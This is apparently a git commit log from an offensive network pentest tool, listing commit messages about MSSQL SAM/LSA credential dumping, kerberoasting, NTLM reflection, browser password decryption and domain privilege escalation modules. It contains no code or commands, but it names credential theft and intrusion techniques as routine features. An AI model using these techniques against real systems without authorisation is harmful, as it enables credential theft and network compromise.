Alexander Neff d5beffc4c9 Readd user cred deletion in case there is a hash and we want to add pw (and vice vers) 2025-11-19 04:42:55 -05:00
Alexander Neff 987db4e76f Fix deleting multiple cred ids 2025-11-19 04:42:32 -05:00
Alexander Neff 2f7234dd12 Remove inner exception handling so that pws are not updated if password change failed 2025-11-19 04:23:15 -05:00
Alexander Neff 6a1c2a168d Only update credentials 2025-11-19 04:22:52 -05:00
Alexander Neff 4f8667b00b Add e2e-tests 2025-11-19 03:55:41 -05:00
Alexander Neff c425cefa25 Remove duplicate cred gathering group 2025-11-19 03:54:45 -05:00
Alexander Neff 7dc7ba946e Merge branch 'main' into neff-add-mssql-sam-lsa 2025-11-19 03:52:21 -05:00
lap1nou 07a341fcac feat(db): modified the change-password module to modify the password of the user in the DB if it's changed 2025-11-19 00:53:49 +01:00
lap1nou 684836f6c4 feat(db): modified the change-password module to modify the password of the user in the DB if it's changed 2025-11-19 00:39:34 +01:00
Tiago Nunes df1d200174 Merge branch 'main' into module-usercredman 2025-11-18 21:28:36 +01:00
Alex d1131975ca Merge pull request #1004 from Pennyw0rth/neff-improve-help-page
Remove useless option group subtitles
2025-11-18 21:03:59 +01:00
Alexander Neff 21897fdb3e Remove useless option group subtitles 2025-11-18 13:01:04 -05:00
Alexander Neff 123b14314f Remove unnecessary dump-method arg 2025-11-18 12:51:28 -05:00
Alexander Neff 09d52f60af Fix filename for sam dump 2025-11-18 12:39:11 -05:00
Alexander Neff 3a42297eaf Fix winrm sam/lsa dump output path 2025-11-18 12:38:22 -05:00
Alexander Neff 86ed02d68a Fix logging for lsa dump 2025-11-18 12:37:57 -05:00
Alexander Neff 16609eccfe Add --lsa and --sam dumping to mssql 2025-11-18 12:37:30 -05:00
tiagomanunes a0c69af12f Merge branch 'main' into module-usercredman 2025-11-17 18:24:56 +01:00
Alex e1729b19c1 Merge pull request #657 from XedSama/drop_library_ms
New module : drop-library-ms
2025-11-17 15:55:11 +01:00
Alexander Neff 2102847591 Fix e2etests 2025-11-17 06:57:53 -05:00
Alexander Neff d19d24d4fd Formatting 2025-11-17 06:42:51 -05:00
Alexander Neff 5474d64579 Formatting 2025-11-17 06:34:48 -05:00
Alexander Neff a2fa01a09a Formatting 2025-11-17 06:34:20 -05:00
Alexander Neff e782f0a17c Add IGNORE option as this exists in the code 2025-11-17 06:33:36 -05:00
Alexander Neff c2726f7a16 Make name required otherwise you don't know the name to delete it 2025-11-17 06:32:08 -05:00
Alexander Neff 965f1976bb Remove unnecessary check 2025-11-17 06:30:15 -05:00
Alexander Neff affeed0c4e Fiy syntax errors and update module specs 2025-11-17 06:27:22 -05:00
Alex a9c97ab93d Merge branch 'main' into drop_library_ms 2025-11-17 12:23:15 +01:00
Alex fb282369ee Merge pull request #825 from gatariee/feat-rbcd
added support for `--generate-st` and `--delegate-spn` flags
2025-11-16 14:02:39 +01:00
Alexander Neff 4fd412b9df Use remoteName instead of manually building the target string 2025-11-16 07:57:50 -05:00
Alexander Neff 5161cbab03 Prevent .ccache.ccache filename 2025-11-16 07:53:32 -05:00
Alexander Neff 6f928782dc Formatting 2025-11-16 07:51:45 -05:00
Alexander Neff 9f4246cf2d Formatting 2025-11-16 07:30:43 -05:00
Alexander Neff a829e958e6 Merge branch 'main' into rbcd-spn 2025-11-16 07:30:23 -05:00
Alexander Neff 718cbdb27c Formatting 2025-11-16 07:29:00 -05:00
tiagomanunes 11e670a6f0 Merge branch 'main' into module-usercredman 2025-11-16 12:37:19 +01:00
Alex 0fcba561d7 Merge pull request #1000 from Pennyw0rth/neff-fix-#999 2025-11-16 11:12:09 +01:00
Alexander Neff fa9f876287 Make --debug and --verbose mutually exclusive 2025-11-15 17:07:55 -05:00
Alex d4b2ed0764 Merge pull request #997 from Pennyw0rth/neff-fix-mssql-exec
Add error checking to mssql_exec
2025-11-15 15:25:16 +01:00
Alex 4e5027d257 Merge branch 'main' into neff-fix-mssql-exec 2025-11-15 14:41:14 +01:00
Alex 5986caa4c1 Merge pull request #998 from Pennyw0rth/neff-swap-impacket-branch
Switch impacket back to fortra
2025-11-15 14:37:40 +01:00
Alexander Neff c86e8fd333 Switch impacket back to fortra 2025-11-15 08:20:14 -05:00
Alexander Neff 85b224cb1e Fix output type to satisfy splitlines() 2025-11-14 09:10:54 -05:00
Alexander Neff fd0d0b2909 Remove unused import 2025-11-14 08:50:51 -05:00
Alexander Neff bdf47959dc Add check for error when the mssql query failed 2025-11-14 08:50:34 -05:00
Alex 277e05eb83 Merge pull request #981 from azoxlpf/fix/certipy-find-kerberos-auth
Fix Kerberos authentication handling in certipy-find
2025-11-14 13:01:44 +01:00
Alexander Neff 12134998e3 Formatting 2025-11-14 06:57:01 -05:00
Alex 653352cb3d Merge pull request #792 from azoxlpf/feat/raisechild
Add raisechild module
2025-11-13 18:54:29 +01:00
Alex f3211ddf34 Merge pull request #995 from Pennyw0rth/neff-fixes
Polish #895 and fix numerous bugs
2025-11-13 14:05:05 +01:00
Alexander Neff a87143d27f Fix #878 by adding a general FileNotFound exception handling 2025-11-13 07:00:59 -05:00
Alexander Neff 67ddd28ba2 Fix #889 by adding a proper fail message when nopac with null auth is used 2025-11-13 06:36:40 -05:00
Alexander Neff 0bfa8fb3b5 Fix #892 by setting remoteName of the connection 2025-11-13 06:28:25 -05:00
Marshall Hallenbeck 86bf9d446d fix(samr/lsa): support hash authentication; fixes #871 2025-11-13 06:16:23 -05:00
tiagomanunes 1a080f0624 Merge branch 'main' into module-usercredman 2025-11-12 21:03:23 +01:00
Alex fe8d9bc27c Merge pull request #994 from Pennyw0rth/neff-fix-sccm
Fix encoding issue and use proper LDAP attr parsing in SCCM module
2025-11-12 15:30:39 +01:00
Alexander Neff 3c30b9c9f3 Remove unused import 2025-11-12 09:26:16 -05:00
Alexander Neff 2dbae0b5ae Fix encoding issue and use proper ldap parsing 2025-11-12 09:23:42 -05:00
Alex 972c3dfd6a Merge pull request #982 from stfnw/ldap-database-signing-channelbinding
Add LDAP signing and LDAPS channel binding info to db
2025-11-12 15:09:25 +01:00
Alexander Neff 1ea2d8ce1c Readd table columns for signing&cbt 2025-11-12 09:04:27 -05:00
Alexander Neff bd1aec630d Merge branch 'main' into ldap_cbt_db 2025-11-12 09:02:25 -05:00
Alex cb9ad2d6b8 Merge pull request #727 from Pennyw0rth/database_rework
Database rework
2025-11-12 13:13:54 +01:00
Alexander Neff 34f769cb6e Remove unused import 2025-11-12 07:01:50 -05:00
Alexander Neff 80d2f4b6b4 Use nxc_logger for reflection error messages 2025-11-12 07:00:09 -05:00
Alexander Neff d0a7ba097e Formatting 2025-11-12 04:35:38 -05:00
Alexander Neff 13b4823e9a Merge branch 'main' into database_rework 2025-11-12 04:29:37 -05:00
Alexander Neff d443ddec92 Formatting 2025-11-12 04:25:34 -05:00
Alexander Neff 5db48461c2 Fix function description 2025-11-11 08:34:46 -05:00
Alexander Neff d66adbf969 Formatting 2025-11-11 08:34:27 -05:00
Alexander Neff a7618dc43f Formatting 2025-11-11 07:26:15 -05:00
Alexander Neff de0aa37450 Move function 2025-11-11 07:26:01 -05:00
Alex ab9a47386c Merge pull request #991 from Pennyw0rth/neff-fix-nfs-ls
Fix dir listing on NFS
2025-11-11 11:15:46 +01:00
tiagomanunes 527c9bf8b4 Merge branch 'main' into module-usercredman 2025-11-11 10:34:49 +01:00
Alex 3dfd421810 Merge pull request #990 from Janrdrz/forti-indicators
enum_av module: add FortiClient and FortiEDR indicators
2025-11-11 10:10:08 +01:00
Alexander Neff 343d1ce9dc Update pynfsclient 2025-11-11 03:59:12 -05:00
Alexander Neff 3c8d5b209f Continue requesting dir listing data if more entries can be fetched 2025-11-11 03:58:58 -05:00
Jan Rodriguez da7425ddf9 fix: { typo 2025-11-10 22:02:36 -04:00
Jan Rodriguez a1be84cec4 enum_av module: add FortiClient and FortiEDR indicators 2025-11-10 21:45:44 -04:00
azoxlpf 052ad2335c move from ticketer import to manual PAC/TGT build 2025-11-10 22:33:13 +01:00
Alex cfa3812a4e Merge pull request #988 from augustus-7613/fix-typo-in-winrm-args
fix: Correct typos in WINRM argparse
2025-11-10 21:43:07 +01:00
augustus-7613 59fa75c8e4 fix: Correct typos in WINRM argparse 2025-11-10 18:40:37 +01:00
Joachim De Bats 2b38c865c8 removed stypes from host info 2025-11-10 14:30:28 +01:00
Alexander Neff 4b90445fc0 Simplify logic 2025-11-09 17:20:32 -05:00
Alexander Neff 1311a2aa11 Fix description 2025-11-09 17:20:23 -05:00
Alexander Neff eac3253c90 Simplify logic 2025-11-09 16:37:54 -05:00
Alexander Neff 29a89d40c4 Directly use connection values 2025-11-09 16:28:08 -05:00
Alexander Neff 5353f6b6a5 Remov unnecessary checks 2025-11-09 16:09:12 -05:00
Alexander Neff 2ba4604ca3 Move contributor name to class desc 2025-11-09 16:08:50 -05:00
Joachim De Bats 82f2892a14 rename sec to stypes 2025-11-07 15:13:45 +01:00
Joachim De Bats dc251ce751 moving probing to enum_host_info and fixing issues with stype 1 2025-11-07 11:18:59 +01:00
Mauriceter bb63598ba7 Merge branch 'Pennyw0rth:main' into vnc-rbf33 2025-11-07 09:36:15 +01:00
hilarex 8d8f7955f9 Fix 3DES decryption for older Firefox versions by truncating keys to 24 bytes
Signed-off-by: hilarex <[email protected]>
2025-11-06 09:42:59 +01:00
azoxlpf 68fc9b8bf2 replace gettatr with connetion.args.dns_server 2025-11-03 15:00:43 +01:00
Alex 5a5c63f50b Merge pull request #983 from Pennyw0rth/neff-fix-#980
Fix RDP execution without output
2025-11-03 14:27:32 +01:00
Alexander Neff d24304a348 Replace static 'lodos' strings with 'test' 2025-11-03 07:59:27 -05:00
Alexander Neff 63b6d2bf08 Make mssql coerce description more accurate 2025-11-03 07:58:56 -05:00
Alexander Neff d5dd1c1b15 Move logic of clipboard check into case when we want to get the output 2025-11-03 07:54:44 -05:00
Stefan Walter 34f624fdc8 Add LDAP signing and LDAPS channel binding info to db
Closes #731
2025-11-02 16:52:24 +01:00
azoxlpf 34b716b22a neff requested changes 2025-11-02 15:06:00 +01:00
azoxlpf 564fc1e23c remove unnecessary comment 2025-11-01 22:02:48 +01:00
azoxlpf a3e14fe25a Fix Kerberos authentication handling in certipy-find 2025-11-01 21:41:37 +01:00
tiagomanunes a38cd132fc Merge branch 'main' into module-usercredman 2025-11-01 13:14:43 +01:00
Alex 4260e51c36 Merge pull request #977 from Pennyw0rth/neff-fix-#976
Fix nxcdb signing export
2025-10-29 15:08:21 +01:00
Alexander Neff 281833ef4c Fix nxcdb signing export 2025-10-29 09:54:16 -04:00
Alex 5454d63b1e Merge pull request #925 from danwroy/print-to-log
Changed print() statements to new print-only logging method
2025-10-27 10:53:35 +01:00
Alexander Neff d344651a5a Use context logger instead of nxc_logger 2025-10-27 05:32:13 -04:00
danwroy 08fb634d7d print to display in helpers/modules, restored version print in cli
even6_parser, pfx, get-network
Database-related modules left alone
2025-10-26 23:31:06 -07:00
Alexander Neff 6ef6cf6c92 Remove manual proto runner 2025-10-26 16:15:30 -04:00
Alex da7a808294 Merge pull request #975 from Pennyw0rth/neff-fix-procdump 2025-10-26 21:01:33 +01:00
Alexander Neff 6df750462d Update spec file 2025-10-26 15:14:05 -04:00
Alexander Neff bc77940a34 Clean up code 2025-10-26 15:08:44 -04:00
Alexander Neff e8d042d53a Fix import problem and return on error 2025-10-26 15:02:32 -04:00
Alexander Neff 1f06f558d9 Formatting 2025-10-26 14:52:17 -04:00
Alexander Neff 5c2d42c68e Update procdump executable 2025-10-26 14:52:17 -04:00
Tiago Nunes 42b44b63d2 Merge branch 'main' into module-usercredman 2025-10-24 18:44:49 +02:00
Alex 58e0f2f144 Merge pull request #970 from Pennyw0rth/neff-fix-#967 2025-10-24 14:52:55 +02:00
Alexander Neff eb42f7bb06 Prompt fail message if no files could be extracted 2025-10-23 07:12:25 -04:00
Alexander Neff 75e4656356 Use smbexec for smb proto as it is the most reliable 2025-10-23 07:12:05 -04:00
Alexander Neff 4fc3d463b3 Fox kerberoast test 2025-10-23 06:03:48 -04:00
Alexander Neff abf360f951 Formating 2025-10-23 05:14:21 -04:00
Alex 07c6bf6ccb Merge pull request #941 from crosscutsaw/dump-computers_fix
Update dump-computers.py
2025-10-22 23:39:25 +02:00
Alexander Neff f8d2ffafe6 Improve description 2025-10-22 17:36:11 -04:00
Alex 003043a3a3 Merge pull request #962 from azoxlpf/enhancement/schtask_as-adcs-reliability
feat(schtask_as): improve ADCS certificate handling and PFX retrieval
2025-10-22 23:32:00 +02:00
Alexander Neff 37868a127f Formating 2025-10-22 17:28:09 -04:00
Alexander Neff 04b3ffef58 Remove unused imports 2025-10-22 23:19:54 +02:00
Alexander Neff f9ec46eb51 Fix double logs directory path 2025-10-22 23:14:04 +02:00
Alexander Neff af3677ebb6 Remove replace call to ensure windows compatability 2025-10-22 22:51:16 +02:00
Alexander Neff bfbfaa954c Use file format from connection object 2025-10-22 22:50:43 +02:00
Alexander Neff f8e69c12cd Refactor filename templating for logs 2025-10-22 22:32:50 +02:00
crosscutsaw 35885b51d1 Update dump-computers.py
Signed-off-by: crosscutsaw <[email protected]>
2025-10-22 20:11:14 +03:00
azoxlpf 56b74aed8c remove certificate from user store after PFX export 2025-10-22 17:21:46 +02:00
Alexander Neff 55a80ecda5 Add short delay for check so cleanup is through 2025-10-22 11:15:49 -04:00
Alexander Neff b3384a0971 Remove dependency to get-output-tries 2025-10-22 10:32:16 -04:00
Alex bdd3722f48 Merge pull request #969 from Pennyw0rth/neff-improve-computers 2025-10-22 14:26:01 +02:00
Alexander Neff 9e8a8b7c40 Query the samaccountname instead of queryint the name and appending the dollar sign 2025-10-22 06:39:48 -04:00
hilarex 4ca939c96a Update firefox.py for new AES-256-CBC encryption
Add Firefox 144+ password decryption support

- Support new AES-256-CBC encryption format (16-byte IV)
- Extract all master keys from NSS database (Firefox 144+ uses multiple)
- Expand keys to 32 bytes using SHA-256 when needed
- Maintain backward compatibility with legacy 3DES-CBC format
- Try all available keys until successful decryption

Signed-off-by: hilarex <[email protected]>
2025-10-22 10:09:36 +02:00
danwroy 742ed96f7f Removed print_msg(), convert to display() 2025-10-20 14:39:24 -07:00
azoxlpf 7fc7806df0 Update 120s to 60s 2025-10-20 13:54:22 +02:00
azoxlpf cbd218fd0c feat(schtask_as): improve ADCS certificate handling and PFX retrieval 2025-10-17 16:50:36 +02:00
tiagomanunes c77130298e Merge branch 'main' into module-usercredman 2025-10-17 15:01:14 +02:00
Alex 3d407b47a4 Merge pull request #961 from Pennyw0rth/neff-fix-winrm-ps-output
Fix winrm output for powershell
2025-10-17 08:46:19 -04:00
Alexander Neff 0da48a35a4 Improve code for printing the PS streams 2025-10-17 07:59:03 -04:00
Alexander Neff b232520362 Fix winrm output when executing powershell 2025-10-15 10:42:03 -04:00
tiagomanunes 88affc91fa Merge branch 'main' into module-usercredman
Signed-off-by: tiagomanunes <[email protected]>
2025-10-13 18:23:16 +02:00
Alex 136b45cf28 Merge pull request #957 from Pennyw0rth/neff-fix-winrm-errors
Add stderr printing to winrm execution
2025-10-13 08:40:40 -04:00
Alexander Neff 4d637bcdaf Remove unused import 2025-10-13 08:36:49 -04:00
Alexander Neff 594c3b9f75 Add stderr printing to winrm execution 2025-10-13 08:33:25 -04:00
tiagomanunes ec0ed97f72 Merge branch 'main' into module-usercredman 2025-10-08 10:50:23 +02:00
Alex f981215d77 Merge pull request #952 from Pennyw0rth/neff-fix-bh-stacktrace
Catch dns resolver issue when domain can't be resolved
2025-10-07 13:41:30 -04:00
Alexander Neff bc5e842d69 Remove unused returns 2025-10-07 13:38:18 -04:00
Tiago Nunes d3b324d001 Select correct masterkey based on DPAPI_BLOB metadata 2025-10-07 19:37:25 +02:00
Alexander Neff e22b41d6d0 Catch errors from the bloodhound run 2025-10-07 13:35:31 -04:00
Alexander Neff 1ae8c5a148 Also catch NoNameservers 2025-10-07 13:32:30 -04:00
Alexander Neff dece6b0177 Catch dns resolver issue when domain can't be resolved 2025-10-07 13:28:30 -04:00
tiagomanunes d6650a0db7 Merge branch 'main' into module-usercredman 2025-10-07 18:56:44 +02:00
Alex 1f04ce2feb Merge pull request #951 from Pennyw0rth/neff-fix-backup_operator
Readd removed code
2025-10-07 12:41:15 -04:00
Alexander Neff ad71df8031 Readd removed code 2025-10-07 12:16:12 -04:00
tiagomanunes cb3cd3dd7b Merge branch 'main' into module-usercredman 2025-10-05 19:13:11 +02:00
Alex bb668cae65 Merge pull request #857 from Pennyw0rth/neff-add-certipy-find
Add certipy module with 'find' implementation
2025-10-05 11:59:54 -04:00
Alex 5c5f19b9fd Merge pull request #946 from Pennyw0rth/neff-fix-#945
Use SMBv1 in enum_host_info to get Windows version from smbv1
2025-10-05 08:54:55 -04:00
Alexander Neff ec05735933 Fix copilot solution where smbv1 could not be initialized anymore 2025-10-04 17:58:00 -04:00
Alexander Neff 5793ccc778 Fix logic bug where a connection would have been created if there is a timeout 2025-10-04 17:51:33 -04:00
Alexander Neff 19ed5d31e1 Integrate SMBv1 setup on first connection into create_conn_obj 2025-10-04 07:08:40 -04:00
Alexander Neff 5fe634ddc2 Use SMBv1 in connection info to get hostname from smbv1 2025-10-03 17:49:29 -04:00
tiagomanunes 1800062f31 Merge branch 'main' into module-usercredman 2025-10-02 16:45:43 +02:00
Joachim De Bats 76961df2fa better handling of RFB 3.3 2025-10-02 10:03:16 +02:00
crosscutsaw b3c34a931c Update dump-computers.py
added samaccountname fallback
2025-10-01 02:01:26 +03:00
Deft_ f77c6ae8d8 sed Encryption/EncryptionReq
sed Encryption/EncryptionReq

Signed-off-by: Deft_ <[email protected]>
2025-09-29 09:46:49 +02:00
Deft_ 8ebd935d11 Add encryption flag in enum_hosts
Signed-off-by: Deft_ <[email protected]>
2025-09-28 21:33:14 +02:00
Deft_ b2e97cb973 Merge branch 'main' into mssql_cbt_rework 2025-09-28 19:20:08 +02:00
Aurélien CHALOT 378a8b48bf Comply with Ruff 2025-09-28 19:17:15 +02:00
Aurélien CHALOT 2cab05041f Patch so that authent works anytime 2025-09-28 19:04:46 +02:00
Aurélien CHALOT 71d7ef0f3f Remove double : typo 2025-09-28 18:01:08 +02:00
Aurélien CHALOT 5bbad4e023 Add ChannelBinding computing for MSSQL 2025-09-28 17:49:25 +02:00
Alexander Neff 35e9afdbb8 Remove StringIO and remove impackets dump function calls 2025-09-28 11:21:32 -04:00
Alexander Neff bedb06a49a Remove StringIO 2025-09-28 11:20:27 -04:00
Alex 800bc5ec5e Merge pull request #938 from Dfte/dedent2
Striped
2025-09-28 09:39:16 -04:00
Aurélien CHALOT 08bb98d068 Striped 2025-09-28 15:31:42 +02:00
Alex d151912354 Merge pull request #937 from Dfte/dedent
Add dedent for easier reading
2025-09-28 09:28:48 -04:00
Alexander Neff 5ef5c7313a Remove unnecessary strip command 2025-09-28 09:26:16 -04:00
Aurélien CHALOT 81b724a71e Add dedent for easier reading 2025-09-28 15:04:04 +02:00
Tiago Nunes d27f1c207c Add exception handling around credential decryption 2025-09-28 11:48:42 +02:00
tiagomanunes c049826c98 Merge branch 'main' into module-usercredman 2025-09-28 09:45:40 +01:00
Alex 08207eef18 Merge pull request #935 from Dfte/ntlmreflection_path
[NTLM reflection] Fix false assumption over smb signing
2025-09-27 10:55:20 -04:00
Alexander Neff 1c77c6496f Typo 2025-09-26 13:08:52 -04:00
Aurélien CHALOT c77800b9eb fix typo 2025-09-26 18:09:32 +02:00
Aurélien CHALOT f45baf80dd Add modification info 2025-09-26 17:19:17 +02:00
Aurélien CHALOT aa5dc329f9 Fix false assumption over smb signing 2025-09-26 17:06:40 +02:00
azoxlpf e2d160bccc fix Ruff violations and normalize indentation 2025-09-26 09:28:19 +02:00
danwroy f11e848e6e Fix: auto-formatting removed, all edits from nxcdb.py removed 2025-09-25 20:56:06 -07:00
Alexander Neff 2c07e1d801 Formatting 2025-09-25 19:03:13 -04:00
Alexander Neff 98e86ea33e Merge branch 'main' into winrm_dpapi 2025-09-25 19:01:38 -04:00
Alex 6ba4427701 Merge branch 'main' into feat/raisechild 2025-09-25 18:46:11 -04:00
Alexander Neff 7de5c48492 Rename module back to certipy-find because this is the only function we want to integrate 2025-09-24 18:17:10 -04:00
Alexander Neff db887ac7b3 Fix certipy dependency name 2025-09-24 18:10:39 -04:00
Alexander Neff 8f72ddd6ca Add category for certipy-find 2025-09-24 18:10:21 -04:00
Alexander Neff 84b59d6c10 Merge branch 'main' into neff-add-certipy-find 2025-09-24 12:23:02 -04:00
Alex 0278b81c3b Merge pull request #932 from joaovarelas/main
enum_av module: add checkpoint indicators
2025-09-24 12:17:33 -04:00
joaovarelas b2e123417b enum_av module: add checkpoint indicators 2025-09-24 16:44:25 +01:00
Alex 32c1a4aff2 Merge pull request #908 from Dfte/schtaskas_certreq
Add certificate request options to schtask_as
2025-09-23 05:43:33 -04:00
Alexander Neff 002480462c Formatting 2025-09-21 12:32:38 -04:00
Alexander Neff 55f1581c8e Small error message adjustment 2025-09-21 12:31:12 -04:00
Alexander Neff 4c256884db Add more flexibility to account for possible attacker time skew and delete task even when erroring 2025-09-21 12:24:43 -04:00
Alexander Neff 5a756f1129 Add error output if schtask raises an exception 2025-09-21 12:23:49 -04:00
Alexander Neff 9bac586a49 Ensure ca_name arg has the correct format 2025-09-21 12:23:28 -04:00
Alex 7df74b90a5 Merge branch 'main' into schtaskas_certreq 2025-09-21 08:39:00 -04:00
Alex 9cf6f59f90 Merge pull request #929 from Dfte/fix_schtask_as
Fix missing ,
2025-09-21 08:34:15 -04:00
Alex 56da9afc63 Merge pull request #919 from Pennyw0rth/neff-allow-kerbroast-computers
Allow kerbroast computers
2025-09-21 08:28:57 -04:00
Aurélien CHALOT 4eadf3b5a0 Overall review 2025-09-21 10:33:08 +02:00
Aurélien CHALOT f1f0fba2dd Overall review 2025-09-21 10:28:21 +02:00
Aurélien CHALOT 509b238fb3 Overall review 2025-09-21 10:25:50 +02:00
Aurélien CHALOT 384f362579 Fix missing , 2025-09-20 21:14:06 +02:00
Alexander Neff 444e3ddb29 Properly format computer accounts for tgs roasting 2025-09-19 19:06:26 -04:00
Alexander Neff 393be37b92 Refactor tgs output 2025-09-19 14:41:21 -04:00
Alexander Neff 52858cd750 Ensure format of CA 2025-09-18 13:33:16 -04:00
Alex c689eb0978 Merge pull request #851 from azoxlpf/fix/nxdomain-duplicate-logs
Stop logging NXDOMAIN multiple times in DNS resolution
2025-09-18 12:07:40 -04:00
Alex 0bc8101eb7 Merge pull request #920 from Pennyw0rth/neff-fixes
Minor bug fixes
2025-09-17 09:47:42 -04:00
danwroy 4df95b4118 Changed print() statements to new print-only logging method (top-level files only)
Added formatting-free "print_msg" method to nxc_logger, with option to
print to log file
2025-09-17 04:10:53 -07:00
Alexander Neff f4bd6f8798 Formatting 2025-09-10 19:11:35 -04:00
Alexander Neff abd0c83ef7 Cast values to string in case bytes are returned 2025-09-10 19:07:26 -04:00
Alexander Neff 3bb18b4ee4 Add error handling for each input target in case the parsing fails for one file 2025-09-10 19:06:03 -04:00
Alexander Neff 30c2f23dcf Add SYSVOL share to exclusion list of scuffy 2025-09-10 19:05:32 -04:00
Alexander Neff e80654f980 Allow roasting computer accounts as well if specified 2025-09-10 12:49:17 -04:00
Marshall Hallenbeck 027e520824 Merge pull request #912 from Pennyw0rth/marshall-kerberoast-user-list-fix
Allow kerberoasting on specific users
2025-09-10 11:42:27 -05:00
Alexander Neff 58428af5ae Add record type to fail output 2025-09-09 20:17:58 -04:00
Marshall Hallenbeck 53fbac1279 Merge pull request #911 from azoxlpf/fix/ldap-dclist-hostname-kerberos
Resolve hostname to IP in dc_list when no --dns-server is given
2025-09-09 19:15:29 -05:00
Alex c24c2993c5 Merge pull request #918 from azoxlpf/fix/ntlm_reflection-transport-error
catch BrokenPipe and transport errors to prevent session crash
2025-09-10 01:25:27 +02:00
Alexander Neff 502236f0fc Formatting 2025-09-09 19:22:02 -04:00
Alexander Neff ae23596a2d Wrap critical parts into try&except 2025-09-09 19:20:51 -04:00
Alexander Neff cc7d8aa8f7 Wrap critical parts into try&except 2025-09-09 19:19:09 -04:00
Alexander Neff 5e2ec7326e Remove unused import 2025-09-09 18:42:25 -04:00
Alexander Neff b3b38d9e2a Move trigger_winreg to smb protocol 2025-09-09 18:41:30 -04:00
Alexander Neff f17cc9c502 Add debug log messages 2025-09-09 18:35:59 -04:00
Alex 9ab9989f27 Merge pull request #914 from azoxlpf/fix/webdav-transport-errors
fix(webdav): handle transport errors and prevent session crash
2025-09-09 23:29:47 +02:00
Alexander Neff d4b91f72ed Remove unnecessary returns 2025-09-09 16:39:57 -04:00
Alexander Neff 074309f2f2 Simplify logic 2025-09-09 16:38:04 -04:00
Alexander Neff 7b3debabab Use contextlib instead of empty try&except 2025-09-09 16:37:36 -04:00
azoxlpf bfd014f9d2 catch BrokenPipe and transport errors to prevent session crash 2025-09-08 17:45:45 +02:00
Marshall Hallenbeck a610adedc3 Merge pull request #887 from Pennyw0rth/issues-881
fix(enum_ca): properly return false if theres an error with fetchList
2025-09-08 09:31:46 -04:00
azoxlpf e3ef313e34 remove null session skip 2025-09-08 14:58:48 +02:00
Alex d0ea79a199 Merge pull request #916 from Pennyw0rth/neff-enforce-category
Enforce that category is one of the enums
2025-09-08 12:51:28 +02:00
Alexander Neff 47ec489a93 Enforce that category is one of the enums 2025-09-08 04:11:38 -04:00
Alexander Neff 011fc0d9dd Merge branch 'main' into issues-881 2025-09-08 04:07:26 -04:00
Alexander Neff 1fe2240018 Remove return values and add module options text 2025-09-08 04:03:50 -04:00
Aurélien CHALOT f7c12ef462 s/successs/debug/d 2025-09-08 09:46:56 +02:00
Alex da4a846f7f Merge pull request #909 from azoxlpf/fix/maq-null-session-crash 2025-09-08 00:02:19 +02:00
Alexander Neff 9ba651c3e8 Simplify maq code 2025-09-07 17:37:53 -04:00
azoxlpf f4b6fb5c0b rename on_login to on_admin_login 2025-09-07 18:53:57 +02:00
Azox 847192c62d Merge branch 'main' into feat/raisechild
Signed-off-by: Azox <[email protected]>
2025-09-07 18:29:11 +02:00
azoxlpf f89de1c617 Update code to follow new module conventions 2025-09-07 18:22:24 +02:00
azoxlpf d2f6a33587 fix(webdav): handle transport errors and prevent session crash 2025-09-04 11:14:56 +02:00
azoxlpf 7507b238f0 add --dc-list to the e2e tests 2025-09-03 20:50:27 +02:00
Marshall Hallenbeck ca52cc099f feat(kerberoast): move get_conditional_action to helper and implement specific user kerberoasting 2025-09-03 13:40:57 -04:00
Alex e434ec0fea Merge pull request #905 from Mauriceter/CVE-2025-33073 2025-09-03 17:41:22 +02:00
Alex 8348fbdb32 Merge pull request #586 from Mauriceter/sccm-winreg 2025-09-03 17:41:05 +02:00
azoxlpf da1b65f1aa use parse_result_attributes and simplify result parsing 2025-09-03 16:58:19 +02:00
azoxlpf eb38cd940e fix: resolve hostname to IP in dc_list when no --dns-server is given 2025-09-03 13:57:55 +02:00
azoxlpf b10b30736d Fixing indentation 2025-09-03 11:44:08 +02:00
azoxlpf acadc4b41f avoid crash when LDAP search returns no result 2025-09-03 10:48:34 +02:00
Aurélien CHALOT bb5cb3f25e Initialize empty self.ca_name and self.template_name 2025-09-02 15:39:07 +02:00
Aurélien CHALOT a94d9d2a45 Add certificate request options to schtask_as 2025-09-02 14:03:01 +02:00
Alex c13aba6a24 Merge pull request #907 from SGMG11/schtasks_silent 2025-09-02 01:32:37 +02:00
Alexander Neff a2d489dc48 Don't display show_output twice 2025-09-01 11:00:44 -04:00
Alexander Neff a0375cb592 Use boolean check instead of string 2025-09-01 11:00:32 -04:00
Alexander Neff 5d23fb1012 Merge branch 'main' into schtask_silent 2025-09-01 10:54:01 -04:00
Alexander Neff 08db720176 Linting 2025-09-01 10:51:45 -04:00
Alexander Neff 3efb829eec Add module category 2025-09-01 10:43:54 -04:00
Alexander Neff 857cb479e6 Merge branch 'main' into ntlm_reflection 2025-09-01 10:43:36 -04:00
Alexander Neff 47f90aa50c Improve module description 2025-09-01 10:40:53 -04:00
Joachim De Bats c564a31435 indentation issue 2025-09-01 16:24:45 +02:00
Alexander Neff b80a5a041c Readd signing check for database site 2025-09-01 10:14:51 -04:00
Alexander Neff c751ede184 Don't display rpc_access_denied because of too much output of large ranges 2025-09-01 09:50:31 -04:00
Alexander Neff 48a799750b Rename module 2025-09-01 09:50:03 -04:00
Alexander Neff 5f8ac2c89d Rename module, improve descr and correct takeover report 2025-09-01 09:48:38 -04:00
Alexander Neff db7c590e4f Simplify reg queries 2025-09-01 09:38:03 -04:00
Alexander Neff 3860ba71c9 Simplify reg queries 2025-09-01 08:22:21 -04:00
Joachim De Bats 1a846462ae updating module name 2025-09-01 09:29:36 +02:00
Alexander Neff b37c657b79 Use existinig smb connection to get signing requirements 2025-08-31 15:55:55 -04:00
Alexander Neff df224851c6 Add enumeration category 2025-08-31 15:55:40 -04:00
Alex 7cecb45019 Merge branch 'main' into sccm-winreg 2025-08-31 21:49:21 +02:00
mpgn 2f62843e41 Merge pull request #877 from Pennyw0rth/passpool 2025-08-31 21:40:20 +02:00
Alexander Neff ae8fc4633b Merge branch 'main' into passpool 2025-08-31 15:31:24 -04:00
Alexander Neff 5789296631 Formatting 2025-08-31 15:25:10 -04:00
Alex 6e7edbd60f Merge pull request #859 from Pennyw0rth/neff-add-module-categories
Add module categories
2025-08-31 17:27:46 +02:00
Alexander Neff 0bcafedb46 Linting 2025-08-31 10:11:56 -04:00
Alexander Neff d296737398 Add category for lockscreendoors module 2025-08-31 10:10:19 -04:00
Alexander Neff 35e3219ce5 Functionalise and extract module displaying logic 2025-08-31 10:08:04 -04:00
Alexander Neff e0f5097ae1 Resolve merge conflicts 2025-08-30 21:06:52 -04:00
